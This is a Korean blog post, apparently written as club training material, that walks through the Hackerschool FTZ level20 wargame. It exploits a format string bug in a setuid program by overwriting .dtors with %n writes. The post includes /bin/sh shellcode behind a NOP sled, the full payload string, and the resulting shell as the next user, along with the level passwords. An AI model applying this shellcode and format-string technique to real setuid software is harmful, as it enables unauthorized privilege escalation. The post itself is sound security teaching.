2012. 4. 1. 16:15

동아리 교육용으로 만들다가 포스팅 해봅니다. 

Hackerschool FTZ level20

Passwd: we are just regular guys

[level20@localhost level20]$ ls -l

합계 24

-rwsr-sr-x 1 clear clear 11777 6¿ù 18 2008 attackme

-rw-r----- 1 root level20 133 5¿ù 13 2002 hint

drwxr-xr-x 2 root level20 4096 2¿ù 24 2002 public_html

drwxrwxr-x 2 root level20 4096 2¿ù 17 10:56 tmp

[level20@localhost level20]$ cat hint

 

#include <stdio.h>

main(int argc,char **argv)

{ char bleh[80];

setreuid(3101,3101);

fgets(bleh,79,stdin);

printf(bleh);

}

 

[level20@localhost level20]$

 


Bleh 80바이트 만큼 잡혀있고 표준 입출력(stdin)으로 79바이트 만큼 받아내므로 지금까지 해왔던 Overflow 를 발생 시키는 부분은 없다.

이 문제에서 다른 문제와 좀 다른 부분이 있다면 printf 의 사용법은 우리가 보통 어떠한 값으로 출력해 줄지 포멧을 정하고 그에 맞는 변수를 넣어 출력 시켜 주었지만, 이번의 경우는 char 변수를 그냥 대입하므로 출력 시켜 주었다.


그럼에도 불과 하고 잘 출력이 된다.

이제부터 언급할 부분은 이러한 부분을 이용하는 Formet String Bug 라는 공격 기법이다.

이 공격 기법에 대한 언급은 별도의 부록에서 다루도록 하겠다.

디버깅을 시도해보자.

위와같이 main 함수가 사라져 있는 것을 볼수 있고 대신 그위치에 start_main의 심볼이 있다.

그것을 열어보면 다른 함수들을 호출 한다. 이러한 경우는 정상적으로 gdb 만으로 분석하기가 힘들어 진다. 때문에 올리 디버거를 이용하여 좀 이용해보도록하자.

바이너리코드를 복사하여 자신의 서버에 옴기는 부록을 참조하여 해당파일을 자신의 컴퓨터로 옴겨 IDA로 연다. 하지만 역시나 스트립된 파일이기 때문에, 우리는 hex-ray를 통한 정확한 파일 복구를 할 수가 없다.

이때 중요한 심볼부분이 start 부분이다.



위 그림에서보면 start라는 심볼을 들어가보도록 하자.

아래쪽을 보면 __libc_start_main 바로 위에 주소가 메인이다.

더블클릭을 하여 들어간뒤 rename 을 해주도록 하자그리고 hey-ray를 이용하여(F5) 코드를 복구하면 다음과 같은 코드를 얻을 수 있다.

위처럼 코드가 나온다.

포멧스트링 버그가 있는 부분도 나오고, stdin 으로 정확히 출력된 값도 나온다.

 우선 메모리 구조를 보면

[  printf  ] [ bleh ] [  dummy  ][  sfp  ] [  ret  ] [ argc ] [ argv ] [ env ]  

^(esp)

Printf로 표준 입출력이 생길 때 esp printf 의 시작지 점인 곳에 위치하게 된다.

이때 메모리 주소값을 16진수로 출력시켜 보자.

[level20@ftz level20]$ ls

attackme  hint  public_html  tmp

[level20@ftz level20]$ ./attackme

aaaa%x

aaaa4f

[level20@ftz level20]$

[level20@ftz level20]$ ./attackme

aaaa%x%x

aaaa4f40152460

[level20@ftz level20]$ ./attackme

aaaa%x%x

aaaa4f40152460

[level20@ftz level20]$ ./attackme

aaaa%x%x%x

aaaa4f4015246040098500

[level20@ftz level20]$ ./attackme

aaaa%x%x%x%x%x

aaaa4f40152460400985006161616178257825

[level20@ftz level20]$ ./attackme

 

여기서 aaaa 3개를 입력하고 난뒤의 4F stdin의 크기이다. 0x4f 79이므로 79개만큼 출력한다는 뜻이다. 그리고나서 뒤에 40152460 40098500 가 존재하고 뒤부터 0x61616161이 반복되는데 이것은 우리가 입력하였던 AAAA 가 존재한다. 그 뒤에 40152460 40098500 을 알아보기 위해 임의의 프로그램 하나를 제작해보자.

그냥 단순히 printf를 출력하는 구문이면 충분하다.

[level20@ftz tmp]$ make test

cc     test.c   -o test

./t[level20@ftz tmp]$

[level20@ftz tmp]$

[level20@ftz tmp]$ ./test

a[level20@ftz tmp]$

[level20@ftz tmp]$ gdb test

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disass main

Dump of assembler code for function main:

0x08048328 <main+0>:    push   %ebp

0x08048329 <main+1>:    mov    %esp,%ebp

0x0804832b <main+3>:    sub    $0x8,%esp

0x0804832e <main+6>:    and    $0xfffffff0,%esp

0x08048331 <main+9>:    mov    $0x0,%eax

0x08048336 <main+14>:   sub    %eax,%esp

0x08048338 <main+16>:   sub    $0xc,%esp

0x0804833b <main+19>:   push   $0x80483f8

0x08048340 <main+24>:   call   0x8048268 <printf>

0x08048345 <main+29>:   add    $0x10,%esp

0x08048348 <main+32>:   leave

0x08048349 <main+33>:   ret

0x0804834a <main+34>:   nop

0x0804834b <main+35>:   nop

End of assembler dump.

(gdb) b main+33

Junk at end of arguments.

(gdb) b *main+33

Breakpoint 1 at 0x8048349

(gdb) r

Starting program: /home/level20/tmp/test

 

Breakpoint 1, 0x08048349 in main ()

(gdb) x/x 40152460

0x264ad8c:      Cannot access memory at address 0x264ad8c

(gdb) x/x 0x40152460

0x40152460 <_IO_2_1_stdin_>:    0xfbad2088

(gdb) x/x 0x40098500

0x40098500 <strrchr>:   0xc0315657

(gdb)

아래부분을 보면 0x40152460 stdin 을 나타내는 주소이고 0x40098500 strrchr에 관련된 함수이다. 이제 어떤것을 의미하는지 알았으니 메모리 구조를 다시 보도록하자.

Aaaa 를 하고 %x 를 출력시키면 메모리 구조는 아래와 같다

 

[  printf  ][ stdin ][ strrchr ][ bleh  ] [  dummy  ][  sfp  ] [  ret  ] [ argc ] [ argv ] [ env ]  

                             AAAA%x(이부분에서 printf 부분 다음 부분의 주소값부터 출력)

위 처럼 표현 될 수 있다.

 

 

PART 2  Format String Attack theory.

부록으로 뺄지 말지 고민중

시스템해킹의 특징은 자신이 원하는 메모리 주소에 자신이 원하는 값을 넣어서 원하는 위치에 도달하게 하는 공격이라는 것이다.

포멧스트링 역시 원하는 메모리 위치에 원하는 값을 넣는 것이 목적이 된다.

우선 기본적으로 사람 들이 알고 있는 서식 %d %lf %s %c 같은 부분은 생략하고 남들이 잘 활용하지 않는 %n 에 대해서 설명해 보겠다.  %n %n이 나오기 전에 출력된 자리수를 계산하여 스택의 다음 4바이트에 있는 내용을  주소로 여기고 그 주소에 계산한 자리수, ,숫자를 입력한다.

만약 AAAA%n을 넣었다고 하면 0x41414141 4라는 숫자를 넣게 된다.

[printf ] [ buff ] [sfp][ret]

        Aaaa%n(printf를 호출하면서 buffer의 시작 주소의 값을 가리킨다.)

 

자 이제 우리가 자주사용하던 %c 를 이용하여 숫자도 조절해보자, %c 란 값은 CPU에 상관없이 1byte의 문자이다. 그리고 %100c 하면 100개의 문자열이므로 100이된다. 포멧스트링공격의 관점에서보면 %100c%n 을하면 100이라는 숫자를 넣는다는 이론이 된다.

우리는 이제 원하는 메모리주소 0x41414141(AAAA)에 원하는 값 %100c 를 넣을 수 있게 된다는 이론이 된다.

 

공격함에 앞서 포멧스트링에서 신경써야할 문제점 3가지에 대해서 언급 해보 도록 하겠다.

첫번째 문제는 이 %c로 크기를 조절해 준다고 하여도 %c라는서식문자가 포함되어 있기 때문에 출력 시킬 메모리주소 4byte도 포함되어야 한다.

두번째 문제는 쉘코드 주소를 입력 할때도 10진수로 바꿔서 입력하여아 한다. 하지만 정수를 이용해서 0xffffffff 같은 큰 숫자를 지정해 줄수 없다. 때문에 쉘코드 주소를 2바이트씩 나누어서 입력하는 방법을 택해야 한다.

예를들면 쉘코드 주소가 0xbffffab8 이라면 bfff(64184) fab8(49151)로 나누어서 각자 10진수로 바꿔 입력해야한다.

만약 ret주소가 0x08049594 라면 0x08049594 2byte(fab8)을 입력하고 이제 2바이트 증가한 0x08049596 에 나머지 2byte(bfff)을 입력하는 방식으로 하는 것이다.

 

마지막 세번째 문제는 메모리를 출력시키는 부분까지 서식문자를 %x를 통하여 bleh까지 주소 값을 옮겨야 한다는 것이다.

 

이제 공격을 시도해보겠다.

첫번째는 디버깅이 안되는 (strip)된 상태에서 return address 를 찾아주는 일이다.

우리는 .dtors 라는 것에 대해 공부할 필요가 있다프로그램이 시작할때는 .ctors 라는 것을 거치고 프로그램이 종료될 시에는 .dtors 라는 것을 거친다. 이는 프롤로그와 에필로그를 담당 하는 부분이다.

Objdump를 이용하여 .dtors 부분을 ret 주소처럼 사용 해보자.

[level20@localhost level20]$ objdump -h attackme | grep .dtors

18 .dtors 00000008 08049594 08049594 00000594 2**2

[level20@localhost level20]$

 

 0x08049594 이 .dtors 를 호출하는 부분이므로 4바이트 뒷부분에 덮어  씌워서 시작하자마자 실행될 수 있도록 하면 된다.


AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n%50503c%n

원래 쉘코드의 주소값을 10진수로 바꾸면 64184와 49151이다.

%n은 자신이 나오기 전까지 모든 자릿수를 계산하기 때문에

AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x 에 대한 자릿수까지 계산하게 됩니다. 이들의 자릿수는 (4 + 4 + 4 +4 +8 + 8 + 8) 40이므로64184에서 40을 빼 %64144c로 한 것이다.

50503은 역시 원래 49151(bfff)인데. 여기에서도 또한 %n은 자신이 나오기 이전의 모든 자릿수를 계산하므로 AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n에 대한 자릿수도 계산하게 되고 이에 해당하는 자릿수는 64184이므로 이를 빼줘야 한다.

그런데 49151(bfff)에서 빼게 되면 음수가 되므로 앞에 1을 붙인 값 (1bfff)를 10진수로 변환한 값(114687)에서 64184를 빼서 %50503c가 된다.

AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n%50503c%n


 

[level20@localhost level20]$ export a=`perl -e 'print "\x90"x1000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

[level20@localhost level20]$ cd tmp

[level20@localhost tmp]$ cat > getshell.c

#include<stdio.h>

 

int main(int argc,char **argv){

 

printf("%x\n",getenv(argv[1]));

 

return 0;

}

 

[level20@localhost tmp]$ gcc -o getshell getshell.c

[level20@localhost tmp]$ ./getshell a

bffffe31

[level20@localhost tmp]$

 

 

[level20@localhost level20]$ (perl -e 'print "aaaa\x98\x95\x04\x08aaaa\x9a\x95\x04\x08%8x%8x%8x%65045c%n%49602c%n"';cat) | ./attackme

 

id

uid=3101(clear) gid=3100(level20) groups=3100(level20)

my-pass

TERM environment variable not set.

 

clear Password is "i will come in a minute".

웹에서 등록하세요.

 

* 해커스쿨의 모든 레벨을 통과하신 것을 축하드립니다.

당신의 끈질긴 열정과 능숙한 솜씨에 찾사를 보냅니다.

해커스쿨에서는 실력있는 분들을 모아 연구소라는 그룹을 운영하고 있습니다.

이 메시지를 보시는 분들 중에 연구소에 관심있으신 자유로운 양식의 가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다


그림을 잘 보면 위에 수많은 놉코드로 인하여 공백이 생긴뒤 명령어가 실행되고 있다는 것을 볼 수 있다.

 

 




Posted by k1rha